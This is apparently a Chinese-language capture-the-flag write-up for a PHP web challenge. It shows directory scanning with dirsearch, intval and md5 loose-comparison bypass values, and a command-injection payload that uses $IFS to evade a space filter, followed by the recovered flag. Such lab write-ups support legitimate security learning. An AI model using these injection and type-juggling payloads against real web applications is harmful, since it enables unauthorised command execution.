打开题目
扫目录用dirsearch扫,为节省建议只扫常见的目录,配置是:
./dirsearch.py -e bak,zip,txt,tgz,php -u http:..... -s 3 -t 20
访问一下
根据提示,再访问一次
提示不在这,抓包看看
根据提示,改get传参
找到源码,代码审计看看
GET方式传入三个参数
1.num:intval(num<2020)&&intval(num+1)>2021
intval函数获取字符(串)的数字,而如果参数是一个算术表达式,会先将所有的参数都化为数字,再进行数值计算
payload
1.num=2e4
2.md5=0e215962017
3.get_flag=ls试一下
关于tac
cat 和 tac 都是Linux打印文件的命令,但是cat是从第一行至最后一行顺序打印,而tac是最后一行至第一行反向打印。
本地测试
首先再一个文件夹中创建两个文件,flag和a.php
<?php
//a.php
system("ls");
echo "<br>";
system("cat flag");
echo "<br>";
system("tac flag");
?>
payload3:get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到
flag{49729cf1-bd33-4d0f-9434-4f5a5d2f68bc}